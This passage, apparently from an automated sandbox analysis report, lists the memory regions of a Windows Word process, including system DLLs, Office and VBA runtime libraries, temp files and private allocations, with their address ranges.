"\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 282 start_va = 0x7fefd990000 end_va = 0x7fefda28fff entry_point = 0x7fefd990000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 283 start_va = 0x7fefda30000 end_va = 0x7fefda5dfff entry_point = 0x7fefda30000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 284 start_va = 0x7fefdb00000 end_va = 0x7fefdbdafff entry_point = 0x7fefdb00000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 285 start_va = 0x7fefdbe0000 end_va = 0x7fefdd57fff entry_point = 0x7fefdbe0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 286 start_va = 0x7fefdd60000 end_va = 0x7fefddc6fff entry_point = 0x7fefdd60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 287 start_va = 0x7fefddd0000 end_va = 0x7fefded8fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 288 start_va = 0x7fefdee0000 end_va = 0x7fefdfa8fff entry_point = 0x7fefdee0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 289 start_va = 0x7fefdfb0000 end_va = 0x7fefed37fff entry_point = 0x7fefdfb0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 290 start_va = 0x7fefed40000 end_va = 0x7fefeddefff entry_point = 0x7fefed40000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 291 start_va = 0x7fefede0000 end_va = 0x7fefefe2fff entry_point = 0x7fefede0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 292 start_va = 0x7fefeff0000 end_va = 0x7feff041fff entry_point = 0x7fefeff0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 293 start_va = 0x7feff0d0000 end_va = 0x7feff2a6fff entry_point = 0x7feff0d0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 294 start_va = 0x7feff2b0000 end_va = 0x7feff320fff entry_point = 0x7feff2b0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 295 start_va = 0x7feff330000 end_va = 0x7feff33dfff entry_point = 0x7feff330000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 296 start_va = 0x7feff340000 end_va = 0x7feff598fff entry_point = 0x7feff340000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 297 start_va = 0x7feff5b0000 end_va = 0x7feff5cefff entry_point = 0x7feff5b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 298 start_va = 0x7feff5d0000 end_va = 0x7feff6a6fff entry_point = 0x7feff5d0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 299 start_va = 0x7feff6b0000 end_va = 0x7feff7d9fff entry_point = 0x7feff6b0000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 300 start_va = 0x7feff860000 end_va = 0x7feff860fff entry_point = 0x7feff860000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 301 start_va = 0x7fffff80000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 302 start_va = 0x7fffff90000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 303 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 304 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 305 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 306 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 307 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 308 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 309 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 310 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 311 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 312 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 313 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 314 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 315 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 316 start_va = 0x3b0000 end_va = 0x3b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003b0000" filename = "" Region: id = 317 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 318 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 319 start_va = 0x1d40000 end_va = 0x1d40fff entry_point = 0x0 region_type = private name = "private_0x0000000001d40000" filename = "" Region: id = 320 start_va = 0x1d60000 end_va = 0x1d60fff entry_point = 0x0 region_type = private name = "private_0x0000000001d60000" filename = "" Region: id = 321 start_va = 0x1f60000 end_va = 0x1f60fff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 322 start_va = 0x1f80000 end_va = 0x1f80fff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 323 start_va = 0x1fa0000 end_va = 0x1fa0fff entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 324 start_va = 0x2960000 end_va = 0x2960fff entry_point = 0x0 region_type = private name = "private_0x0000000002960000" filename = "" Region: id = 325 start_va = 0x2970000 end_va = 0x2970fff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 326 start_va = 0x2990000 end_va = 0x2990fff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 327 start_va = 0x29b0000 end_va = 0x29b0fff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 328 start_va = 0x29d0000 end_va = 0x29d0fff entry_point = 0x0 region_type = private name = "private_0x00000000029d0000" filename = "" Region: id = 329 start_va = 0x2a50000 end_va = 0x2a50fff entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 330 start_va = 0x8df0000 end_va = 0x95effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008df0000" filename = "" Region: id = 331 start_va = 0x7fef4390000 end_va = 0x7fef43abfff entry_point = 0x7fef4390000 region_type = mapped_file name = "msohev.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\MSOHEV.DLL" (normalized: "c:\\program files\\microsoft office\\office15\\msohev.dll") Region: id = 332 start_va = 0x3d0000 end_va = 0x3defff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 333 start_va = 0x3e0000 end_va = 0x3e2fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 334 start_va = 0x690000 end_va = 0x690fff entry_point = 0x0 region_type = private name = "private_0x0000000000690000" filename = "" Region: id = 335 start_va = 0x1d50000 end_va = 0x1d50fff entry_point = 0x0 region_type = private name = "private_0x0000000001d50000" filename = "" Region: id = 336 start_va = 0x1f50000 end_va = 0x1f70fff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 337 start_va = 0x1f80000 end_va = 0x1f9efff entry_point = 0x0 region_type = private name = "private_0x0000000001f80000" filename = "" Region: id = 338 start_va = 0x2970000 end_va = 0x298dfff entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 339 start_va = 0x2990000 end_va = 0x29adfff entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 340 start_va = 0x29b0000 end_va = 0x29cefff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 341 start_va = 0x29e0000 end_va = 0x29fefff entry_point = 0x0 region_type = private name = "private_0x00000000029e0000" filename = "" Region: id = 342 start_va = 0x2a00000 end_va = 0x2a1efff entry_point = 0x0 region_type = private name = "private_0x0000000002a00000" filename = "" Region: id = 343 start_va = 0x2a20000 end_va = 0x2a3efff entry_point = 0x0 region_type = private name = "private_0x0000000002a20000" filename = "" Region: id = 344 start_va = 0x2b80000 end_va = 0x2b9efff entry_point = 0x0 region_type = private name = "private_0x0000000002b80000" filename = "" Region: id = 345 start_va = 0x2cc0000 end_va = 0x2cdefff entry_point = 0x0 region_type = private name = "private_0x0000000002cc0000" filename = "" Region: id = 346 start_va = 0x2d70000 end_va = 0x2d8efff entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 347 start_va = 0x4d00000 end_va = 0x4d7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d00000" filename = "" Region: id = 348 start_va = 0x5180000 end_va = 0x51fffff entry_point = 0x5180000 region_type = mapped_file name = "~df411b6c3cbe774d4e.tmp" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\~DF411B6C3CBE774D4E.TMP" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\~df411b6c3cbe774d4e.tmp") Region: id = 349 start_va = 0x95f0000 end_va = 0x96effff entry_point = 0x0 region_type = private name = "private_0x00000000095f0000" filename = "" Region: id = 350 start_va = 0x96f0000 end_va = 0x9eeffff entry_point = 0x0 region_type = private name = "private_0x00000000096f0000" filename = "" Region: id = 351 start_va = 0x7fee8a40000 end_va = 0x7fee8d63fff entry_point = 0x7fee8a40000 region_type = mapped_file name = "gkword.dll" filename = "\\Program Files\\Microsoft Office\\Office15\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office15\\gkword.dll") Region: id = 352 start_va = 0x1fa0000 end_va = 0x1fb0fff entry_point = 0x1fa0000 region_type = mapped_file name = "c_1251.nls" filename = "\\Windows\\System32\\C_1251.NLS" (normalized: "c:\\windows\\system32\\c_1251.nls") Region: id = 353 start_va = 0x29d0000 end_va = 0x29d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000029d0000" filename = "" Region: id = 354 start_va = 0x2a40000 end_va = 0x2a41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a40000" filename = "" Region: id = 355 start_va = 0x6590000 end_va = 0x664cfff entry_point = 0x6590000 region_type = mapped_file name = "arial.ttf" filename = "\\Windows\\Fonts\\arial.ttf" (normalized: "c:\\windows\\fonts\\arial.ttf") Region: id = 356 start_va = 0x9ef0000 end_va = 0x9fbbfff entry_point = 0x9ef0000 region_type = mapped_file name = "times.ttf" filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf") Region: id = 357 start_va = 0x7fee8cb0000 end_va = 0x7fee8d69fff entry_point = 0x7fee8cb0000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 358 start_va = 0x7fef4c00000 end_va = 0x7fef4c53fff entry_point = 0x7fef4c00000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 359 start_va = 0x2a60000 end_va = 0x2a60fff entry_point = 0x2a60000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 360 start_va = 0x2d90000 end_va = 0x2da1fff entry_point = 0x2d90000 region_type = mapped_file name = "uiautomationcore.dll.mui" filename = "\\Windows\\System32\\en-US\\UIAutomationCore.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\uiautomationcore.dll.mui") Region: id = 361 start_va = 0x9fc0000 end_va = 0xa471fff entry_point = 0x0 region_type = private name = "private_0x0000000009fc0000" filename = "" Region: id = 362 start_va = 0x77700000 end_va = 0x77702fff entry_point = 0x77700000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 363 start_va = 0x7fef72a0000 end_va = 0x7fef72abfff entry_point = 0x7fef72a0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 364 start_va = 0x7fef8ac0000 end_va = 0x7fef8b3ffff entry_point = 0x7fef8ac0000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 365 start_va = 0x7fefd280000 end_va = 0x7fefd2a2fff entry_point = 0x7fefd280000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 366 start_va = 0x2a70000 end_va = 0x2a70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a70000" filename = "" Region: id = 367 start_va = 0xa5a0000 end_va = 0xa69ffff entry_point = 0x0 region_type = private name = "private_0x000000000a5a0000" filename = "" Region: id = 368 start_va = 0x7fef8b40000 end_va = 0x7fef8b4efff entry_point = 0x7fef8b40000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 369 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 370 start_va = 0x7fefb8c0000 end_va = 0x7fefb8cafff entry_point = 0x7fefb8c0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 371 start_va = 0x7700000 end_va = 0x7c00fff entry_point = 0x0 region_type = private name = "private_0x0000000007700000" filename = "" Region: id = 372 start_va = 0x7c10000 end_va = 0x8110fff entry_point = 0x0 region_type = private name = "private_0x0000000007c10000" filename = "" Region: id = 373 start_va = 0xa6a0000 end_va = 0xaba0fff entry_point = 0x0 region_type = private name = "private_0x000000000a6a0000" filename = "" Region: id = 374 start_va = 0x7fefd390000 end_va = 0x7fefd420fff entry_point = 0x7fefd390000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 375 start_va = 0x2db0000 end_va = 0x2dbbfff entry_point = 0x0 region_type = private name = "private_0x0000000002db0000" filename = "" Region: id = 376 start_va = 0x9fc0000 end_va = 0xa468fff entry_point = 0x0 region_type = private name = "private_0x0000000009fc0000" filename = "" Region: id = 377 start_va = 0x7fefcef0000 end_va = 0x7fefcf11fff entry_point = 0x7fefcef0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 378 start_va = 0x7fefc9a0000 end_va = 0x7fefc9ebfff entry_point = 0x7fefc9a0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 379 start_va = 0x2ce0000 end_va = 0x2ce1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ce0000" filename = "" Region: id = 380 start_va = 0x8120000 end_va = 0x81fffff entry_point = 0x8120000 region_type = mapped_file name = "msword.olb" filename = "\\Program Files\\Microsoft Office\\Office15\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\office15\\msword.olb") Region: id = 381 start_va = 0x7fef3f10000 end_va = 0x7fef425ffff entry_point = 0x7fef3f10000 region_type = mapped_file name = "vbe7.dll" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll") Region: id = 382 start_va = 0xabb0000 end_va = 0xae4afff entry_point = 0xabb0000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 383 start_va = 0xabb0000 end_va = 0xae4afff entry_point = 0xabc6188 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 384 start_va = 0x7fee8a00000 end_va = 0x7fee8ca6fff entry_point = 0x7fee8a16188 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 385 start_va = 0x2f40000 end_va = 0x2f41fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002f40000" filename = "" Region: id = 386 start_va = 0x2f50000 end_va = 0x2f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000002f50000" filename = "" Region: id = 387 start_va = 0x7fef3ee0000 end_va = 0x7fef3f05fff entry_point = 0x7fef3ee0000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 388 start_va = 0x3e90000 end_va = 0x3e99fff entry_point = 0x3e90000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 389 start_va = 0x8200000 end_va = 0x827ffff entry_point = 0x8200000 region_type = mapped_file name = "~wrf{435d1a4d-2d29-48da-bdff-c0de546d5953}.tmp" filename = "\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{435D1A4D-2D29-48DA-BDFF-C0DE546D5953}.tmp" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{435d1a4d-2d29-48da-bdff-c0de546d5953}.tmp") Region: id = 390 start_va = 0xabb0000 end_va = 0xbbaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000abb0000" filename = "" Region: id = 391 start_va = 0x7fef3d30000 end_va = 0x7fef3ed1fff entry_point = 0x7fef3d30000 region_type = mapped_file name = "fm20.dll" filename = "\\Windows\\System32\\FM20.DLL" (normalized: "c:\\windows\\system32\\fm20.dll") Region: id = 392 start_va = 0x8280000 end_va = 0x831ffff entry_point = 0x0 region_type = private name = "private_0x0000000008280000" filename = "" Region: id = 393 start_va = 0x8280000 end_va = 0x82fffff entry_point = 0x0 region_type = private name = "private_0x0000000008280000" filename = "" Region: id = 394 start_va = 0x8310000 end_va = 0x831ffff entry_point = 0x0 region_type = private name = "private_0x0000000008310000" filename = "" Region: id = 395 start_va = 0xbbb0000 end_va = 0xbdaffff entry_point = 0x0 region_type = private name = "private_0x000000000bbb0000" filename = "" Region: id = 396 start_va = 0xa470000 end_va = 0xa4effff entry_point = 0xa470000 region_type = mapped_file name = "~dff95cfde65cdb3f5c.tmp" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\~DFF95CFDE65CDB3F5C.TMP" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\~dff95cfde65cdb3f5c.tmp") Region: id = 397 start_va = 0x3ea0000 end_va = 0x3ea3fff entry_point = 0x3ea0000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 398 start_va = 0x3eb0000 end_va = 0x3eb0fff entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 399 start_va = 0x4080000 end_va = 0x40bffff entry_point = 0x0 region_type = private name = "private_0x0000000004080000" filename = "" Region: id = 400 start_va = 0x3f40000 end_va = 0x3f42fff entry_point = 0x0 region_type = private name = "private_0x0000000003f40000" filename = "" Region: id = 401 start_va = 0x3f50000 end_va = 0x3f53fff entry_point = 0x0 region_type = private name = "private_0x0000000003f50000" filename = "" Region: id = 402 start_va = 0x3f60000 end_va = 0x3f60fff entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 403 start_va = 0x40d0000 end_va = 0x40d0fff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 404 start_va = 0x40e0000 end_va = 0x40e0fff entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 405 start_va = 0x40f0000 end_va = 0x40f7fff entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 406 start_va = 0x4ac0000 end_va = 0x4afffff entry_point = 0x0 region_type = private name = "private_0x0000000004ac0000" filename = "" Region: id = 407 start_va = 0x4100000 end_va = 0x4102fff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 408 start_va = 0x4110000 end_va = 0x4126fff entry_point = 0x42027e0 region_type = mapped_file name = "vbe7.dll" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll") Region: id = 409 start_va = 0x42a0000 end_va = 0x42a8fff entry_point = 0x43927e0 region_type = mapped_file name = "vbe7.dll" filename = "\\PROGRA~1\\COMMON~1\\MICROS~1\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\progra~1\\common~1\\micros~1\\vba\\vba7.1\\vbe7.dll") Region: id = 410 start_va = 0xa4f0000 end_va = 0xa576fff entry_point = 0xb9b66c8 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\OFFICE15\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\mso.dll") Region: id = 411 start_va = 0x4b00000 end_va = 0x4b07fff entry_point = 0x0 region_type = private name = "private_0x0000000004b00000" filename = "" Region: id = 412 start_va = 0x4bc0000 end_va = 0x4bfffff entry_point = 0x0 region_type = private name = "private_0x0000000004bc0000" filename = "" Region: id = 413 start_va = 0x4b10000 end_va = 0x4b13fff entry_point = 0x0 region_type = private name = "private_0x0000000004b10000" filename = "" Region: id = 414 start_va = 0x4b20000 end_va = 0x4b23fff entry_point = 0x0 region_type = private name = "private_0x0000000004b20000" filename = "" Region: id = 415 start_va = 0x5280000 end_va = 0x52a1fff entry_point = 0x535d468 region_type = mapped_file name = "fm20.dll" filename = "\\Windows\\System32\\FM20.DLL" (normalized: "c:\\windows\\system32\\fm20.dll") Region: id = 416 start_va = 0x52b0000 end_va = 0x52b3fff entry_point = 0x0 region_type = private name = "private_0x00000000052b0000" filename = "" Region: id = 417 start_va = 0x7fefbd00000 end_va = 0x7fefbd2bfff entry_point = 0x7fefbd00000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 418 start_va = 0x52b0000 end_va = 0x52b3fff entry_point = 0x0 region_type = private name = "private_0x00000000052b0000" filename = "" Region: id = 419 start_va = 0xbf70000 end_va = 0xc06ffff entry_point = 0x0 region_type = private name = "private_0x000000000bf70000" filename = "" Region: id = 420 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 421 start_va = 0x53c0000 end_va = 0x53cffff entry_point = 0x0 region_type = private name = "private_0x00000000053c0000" filename = "" Region: id = 422 start_va = 0x6650000 end_va = 0x6650fff entry_point = 0x0 region_type = private name = "private_0x0000000006650000" filename = "" Region: id = 423 start_va = 0x6660000 end_va = 0x6669fff entry_point = 0x6660000 region_type = mapped_file name = "vbe6ext.olb" filename = "\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\VBE6EXT.OLB" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6\\vbe6ext.olb") Region: id = 424 start_va = 0xa580000 end_va = 0xa59dfff entry_point = 0xa65d468 region_type = mapped_file name = "fm20.dll" filename = "\\Windows\\System32\\FM20.DLL" (normalized: "c:\\windows\\system32\\fm20.dll") Region: id = 425 start_va = 0xbdb0000 end_va = 0xbe2ffff entry_point = 0xbdb0000 region_type = mapped_file name = "~df8673ad83c560ab1d.tmp" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\~DF8673AD83C560AB1D.TMP" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\~df8673ad83c560ab1d.tmp") Region: id = 426 start_va = 0xbe30000 end_va = 0xbeaffff entry_point = 0xbe30000 region_type = mapped_file name = "~dfacd261ed4b2611fd.tmp" filename = "\\Users\\ADU0VK~1\\AppData\\Local\\Temp\\~DFACD261ED4B2611FD.TMP" (normalized: "c:\\users\\adu0vk~1\\appdata\\local\\temp\\~dfacd261ed4b2611fd.tmp") Region: id = 427 start_va = 0xbeb0000 end_va = 0xbed1fff entry_point = 0xbf8d468 region_type = mapped_file name = "fm20.dll" filename = "\\Windows\\System32\\FM20.DLL" (normalized: "c:\\windows\\system32\\fm20.dll") Region: id = 428 start_va = 0xc070000 end_va = 0xd06ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c070000" filename = "" Region: id = 429 start_va = 0x75250000 end_va = 0x75257fff entry_point = 0x75250000 region_type = mapped_file name = "fm20enu.dll" filename = "\\Windows\\System32\\FM20ENU.DLL" (normalized: "c:\\windows\\system32\\fm20enu.dll") Region: id = 430 start_va = 0x7fee82c0000 end_va = 0x7fee84cdfff entry_point = 0x7fee82c0000 region_type = mapped_file name = "vbeuiintl.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBEUIINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\1033\\vbeuiintl.dll") Region: id = 431 start_va = 0x7fee84d0000 end_va = 0x7fee89fefff entry_point = 0x7fee84d0000 region_type = mapped_file name = "vbeuires.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBEUIRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbeuires.dll") Region: id = 432 start_va = 0x6670000 end_va = 0x6673fff entry_point = 0x6670000 region_type = mapped_file name = "stdole2.tlb" filename = "\\Windows\\System32\\stdole2.tlb" (normalized: "c:\\windows\\system32\\stdole2.tlb") Region: id = 433 start_va = 0x8300000 end_va = 0x8303fff entry_point = 0x0 region_type = private name = "private_0x0000000008300000" filename = "" Region: id = 434 start_va = 0x8320000 end_va = 0x8323fff entry_point = 0x0 region_type = private name = "private_0x0000000008320000" filename = "" Region: id = 435 start_va = 0xbee0000 end_va = 0xbee3fff entry_point = 0x0 region_type = private name = "private_0x000000000bee0000" filename = "" Region: id = 436 start_va = 0xbef0000 end_va = 0xbef2fff entry_point = 0x0 region_type = private name = "private_0x000000000bef0000" filename = "" Region: id = 437 start_va = 0xbf00000 end_va = 